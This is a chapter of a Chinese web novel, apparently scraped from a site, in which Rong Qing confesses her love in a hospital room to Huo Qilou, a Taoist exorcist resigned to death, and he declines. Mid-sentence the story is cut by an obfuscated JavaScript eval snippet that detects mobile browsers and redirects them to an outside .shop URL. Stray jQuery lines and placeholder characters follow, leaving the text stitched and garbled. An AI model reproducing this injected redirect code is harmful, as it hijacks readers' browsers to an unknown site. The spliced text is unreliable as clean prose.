“荣箐。”他唤她的名字,极轻,极淡,像是深冬里落在冰面上的一片雪,无轻无重。
没有安慰,没有否认,不过,他看她的眼神变了一丝,一丝浓重掠过眼底。
“哪怕我真气俱废,也能够帮你除掉邪祟。”他如实说道,语气平淡,像是在陈述一个无可辩驳的事实。
“所以,你不用担心。”
他的目光沉静而笃定,她不需要担心邪祟难除,也不需要恐惧害怕自己的安危,不需要日夜提心吊胆……
他都会帮她解决问题,除掉后患,让她没有后顾之忧。
没有逞强,没有虚张声势,霍祈楼有信心自己能够解决掉邪祟……他自幼承观山秘术,通晓阴阳八卦,以道法除祟,符箓通神,手印镇邪。他没有什么害怕和担忧的,一切都是习以为常,哪怕自己不再具备观山的能量,也能够舍命一胜。
只是,女人的叹息太清晰了,迫不及待地钻入耳朵里,容不得他忽略掉一点。
“难道,你要拿命相搏吗?”说这句话的时候,荣箐的眼泪还是流了下来,难以自控,字字句句裹着浓得化不开的酸涩。
口口声声让她不要担心,实际上做的每一个决定,都游走在生死一线。在列阵里的时候他就那么做了,不顾自己的伤势严重,不管自己的死活,用仅剩的力量开启阵门,去换她的平安。
她是活着回到了西安,可是日日夜夜解不开的愧疚,辗转反侧的心疼,念念不忘的不舍和意难平。
她了解过他,明白他从来不承诺做不到的事,所以,当他承诺了,就一定是不计代价,赌上一切,倾注全部……
现在,他已经没有了往日强大的能量,他已经不再是观山如是,不再是奉为神明的化身。
所以,一切都说的通了!
他正走向一个所有人都心知肚明,却无人敢说出口的终点,所以,他来到这里,来到她的城市里,是来见她最后一面的……
这个念头像一根针,无声无息地扎进她的胸口,钝痛百起,凉意顺着血管蔓延到四肢百骸,颤动着全身。
“性命而已,死又何妨。”
男人一双黑眸里,写满了平静。从灵魂深处透出来的平静,无畏,无惧,亦无留恋。
有些事他从未想过,不是其他的原因,而是没有建立思考,没有意外,没有选择。
“死亡”作为一个预设条件,写进了观山的人生页码里,观山从来不是为了活着而存在,是为了守护而存在的。
需要的时候便去;以命相换的时候便换,没有牺牲,没有奉献,只是职责而已。
“选择,有什么区别吗?”
他微微侧了侧头,看向她的眼神里有一丝极淡的、真实的疑惑。
思绪纷纷而来,似有人隔空与他对话一般,“观山,做佛陀还是恶鬼,一念之差,都在自己的选择中。”
“选择——”玩味淹没齿缝之间,淡凉似冷泉。
接着,一声极低的、几乎听不出是笑的笑声从他喉间逸出来,短促,微哑:“选择,对我没有区别。”
荣箐怔怔地看着他,像是分秒间失去了言语的本能。
“我已经没有选择的权利了。”
不是反问,不是质询,是在认真地回答着她。
没有区别,选择从来都没有区别过。选择从未让人心甘情愿过,只是时候到了,必须舍弃。
窗外的阳光照进来,落在他侧脸上,将他眉骨的弧度和下颌的线条镀上了一层极淡的金色光晕。他还是那么好看,好看得不像一个真实的人,好看得像是她随时会醒过来的一场梦……
可他说“死又何妨”的时候,语气那么轻松,轻松到让她痛哭流涕……
荣箐可以百分百的确定着,面前的男人不在乎死亡,他是真的不在乎死亡,不在乎世上任何一切,全部都视若无物……
这条命对他来说,不是筹码,不是代价,只是一个已经知道了结局的倒计时,而这样的“人生”对他来说,也没有什么值得在意……
他的眼底没有悲喜,没有波澜,只有一片广袤的、亘古不变的荒原,那里似寸草不生,风声不起,只余一种与世长辞般的安然。
“荣箐,你不必愧疚,既然已经倒数了,用在哪里,又有什么区别。”
他觉得没有区别,他不在乎,他无所谓惧,他视若无物……□□箐在乎,荣箐在乎得要命!
“你对我这样好……”半响,她似慢慢找回了自己的声音。
她没有看他,而是低下头,看着自己缠着绷带的手臂,看着纱布上渗出的那一点淡黄色的碘伏印记,像是在对那个狼狈的自己说话,又像是自己撑起自己的勇气:“总是,这样这样的好……”
病房里安静了几秒,只剩下外面滴滴的声音,规律而单调,像某种无声的催促。
话音落地,荣箐抬起了头,目光定定地看着面前的男人,只是看着他,便觉得难以形容的悲伤。
不知不觉中泪水已经流了满脸,流进嘴角,咸涩的,滚烫的,却滋生出一种奇异的勇气——
一种豁出去了的鼓动,在心里不断地叫嚣着,撞着胸腔,撞得生疼。
“你觉得没有任何区别,你的命你不在乎。”她的嘴唇在微微发抖,声音也在发抖,心里却特别的期待,期待着自己说出结果的降临,不论好坏,不计代价,不管不顾了……
“你不在乎对我的承诺,你不在乎一次又一次救下我的命,你不在乎帮助过我,你不在乎对我的好,你什么都不在乎……”
她没有等待对方的答案是什么,甚至都不需要什么答案,只是继续说下去,担心着自己一停下来就再也没有勇气能够开口的话。
“可是,我在乎啊!”
她一字一句,清清楚楚,仿佛是把每一个字都用尽了全身的力气才从喉咙里推出来:“我会在乎,因为我喜欢你!”
“因为喜欢你,便想要拥有你!”
“因为喜欢你,便对你难舍难分……”
空气凝固了一瞬,嗡嗡嗡,嗡嗡嗡,手机的震动声忽然变得格外清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790697|210378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晰,一下一下,像是在替她擂鼓。
她的手指在被单上攥成了拳,指节发白,整个人绷得像一根随时会断掉的弦。她没有把目光移开,就这样看着霍祈楼,用一种近乎倔强的、宁折不弯的姿态,把一颗心摊在了他面前。
一旦喜欢上一个人,就会想要拥有,就会害怕失去。
在已经在倒计时的故事里,押上自己全部的筹码,明知道结局是什么……
在对方那双明亮而鲜活的眼睛里,他看见了自己。她的瞳孔被泪水洗得发亮,仿若雨后初霁的湖面,清澈见底……
他不曾被这样的目光注视着,带着一种炽热的、决绝的、带着孤注一掷姿态的眷恋。也不曾有人这般表露出热烈而滚烫的真心实意。
他不知道该怎么接住这份沉甸甸的重量,甚至,不知道自己有没有听错了什么。
她说得那么清楚,那么用力,每一个字都带着温度,带着热烈的力量,带着让他无法忽视也无法回应的重量。
按照既定的结局,他们会是一种结果。在某个无人知晓的时刻,用自己仅剩的那一口气,替她挡下那个纠缠了她十几年的噩梦,然后安静地、体面地、不出所料地退场,回归各自的世界,不再有交集。
然而,现在,却又被她亲手打破了界限……
透过她的眼睛看着自己,一瞬只觉得陌生,尽管他的面容依旧平静,眉目低垂,不起波澜,似无悲无喜,无欲无求。但被她的泪光和炽热包裹着,似浸在一片波光粼粼的湖水里,仿佛生出了一种不属于自己的温度。
他看着她眼里的自己,像是在看一个与自己毫不相干的人,一个被赋予了期待、被投射了眷恋、被押上了全部筹码的幻影。
那只是错觉,在湖面之外,在水面之下,在亘古不变的寂静里,沉淀而已。
“荣箐。”他听见自己的声音里有一丝极淡极淡的不忍,在沉静里格外的明显。
“这是一个错误的决定,你不该有如此失于理智的疏漏——”顿了顿,他继续道:“把心放在一个没有未来的人身上,很不值得。”
阳光从百叶窗的缝隙里筛进来,落在两人之间的距离上,将那道明暗交错的界线照的十分明显,如此界限分明,清晰可见,干净利落。
病房里安静了片刻,荣箐忽然笑了一下,带着几分苦涩,几分哀伤。不需要再说些什么,她也不需要再摊开真心表述什么,他一直都明白,一直都清楚,也许在列阵里重启阵门的时候,也许在酒店套房里的对话,他一直都知道自己的心意是什么,却选择一次又一次的无声拒绝。
答案已经不言而喻了,何必纠缠着一个等不到的结果。这样想着,还是好难过,难过地维持着体面,她弯着嘴角,眼泪却大滴大滴地砸下来。
“我想一个人安静会儿,可以吗?”她的情绪毫无保留地漾在面容里,难以自控的颤抖着声音。
门再次关上了,她也终究忍不住地大哭起来,声音隔绝了一切,却仍牵动着暗处的一颗静寂,无人在意的角落,静寂也在颤动。